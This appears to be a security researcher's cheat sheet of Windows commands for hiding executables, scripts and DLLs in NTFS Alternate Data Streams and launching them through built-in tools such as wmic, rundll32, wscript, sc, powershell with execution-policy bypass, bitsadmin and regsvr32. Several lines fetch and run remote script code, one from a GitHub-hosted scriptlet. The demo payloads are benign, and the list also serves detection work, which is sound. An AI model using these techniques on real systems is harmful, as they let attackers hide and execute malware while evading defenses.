-={ Extract content from ADS }=- 
expand c:\ads\file.txt:test.exe c:\temp\evil.exe
esentutl.exe /Y c:\ads\file.txt:test.exe /d c:\ads\test.exe /o
PrintBrm -r -f c:\ads\file.txt:hidden.zip -d c:\ads\new_folder

-={ Executing from ADS }=- 
* WMIC
wmic process call create '"c:\ads\file.txt:test.exe"'

* Rundll32
rundll32 "c:\ads\file.txt:test.log:test.dll",DllMain
rundll32.exe advpack.dll,RegisterOCX test.txt:test.dll
rundll32.exe ieadvpack.dll,RegisterOCX test.txt:test.dll

* Cscript
cscript "c:\ads\file.log:script.vbs"

* Wscript
wscript c:\ads\file.txt:script.vbs
echo GetObject("script:https://raw.githubusercontent.com/sailay1996/misc-bin/master/calc.js") > %temp%\test.txt:test.js && wscript.exe %temp%\test.txt:test.js

* MSHTA
mshta "c:\ads\file.txt:test.log:test.hta" (Does not work on Windows 10 1903 and newer)

* Control.exe
control.exe c:\windows\tasks\zzz:notepad_reflective_x64.dll https://twitter.com/bohops/status/954466315913310209

* Service
sc create evilservice binPath= "\"c:\ads\file.txt:test.exe\" /c echo works > \"c:\ads\works.txt\"" DisplayName= "testservice" start= auto
sc start testservice
https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/

* Powershell.exe
powershell -ep bypass - < c:\temp:ttt
powershell -command " & {(Get-Content C:\ads\test.txt -Stream test.exe -Raw | Set-Content c:\ads\test.exe) | start-process c:\ads\test.exe}"
Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = C:\ads\folder:file.exe}

* Regedit.exe
regedit c:\ads\file.txt:regfile.reg

* Bitsadmin.exe
bitsadmin /create myfile
bitsadmin /addfile myfile c:\windows\system32\notepad.exe c:\data\playfolder\notepad.exe
bitsadmin /SetNotifyCmdLine myfile c:\ads\test.txt:test.exe NULL
bitsadmin /RESUME myfile

* AppVLP.exe
AppVLP.exe c:\windows\tracing\test.txt:ha.exe

* Cmd.exe
cmd.exe - < fakefile.doc:reg32.bat https://twitter.com/yeyint_mth/status/1143824979139579904

* Ftp.exe
ftp -s:fakefile.txt:aaaa.txt https://github.com/sailay1996/misc-bin/blob/master/ads.md

* ieframe.dll , shdocvw.dll (ads)
echo [internetshortcut] > fake.txt:test.txt && echo url=C:\windows\system32\calc.exe >> fake.txt:test.txt rundll32.exe ieframe.dll,OpenURL C:\temp\ads\fake.txt:test.txt
rundll32.exe shdocvw.dll,OpenURL C:\temp\ads\fake.txt:test.txt
https://github.com/sailay1996/misc-bin/blob/master/ads.md

* bash.exe
echo calc > fakefile.txt:payload.sh && bash < fakefile.txt:payload.sh
bash.exe -c $(fakefile.txt:payload.sh)
https://github.com/sailay1996/misc-bin/blob/master/ads.md

* Regsvr32
type c:\Windows\System32\scrobj.dll > Textfile.txt:LoveADS
regsvr32 /s /u /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct Textfile.txt:LoveADS

* Write registry
regini.exe file.txt:hidden.ini From @elisalem9

-------------
by api0cradle

https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f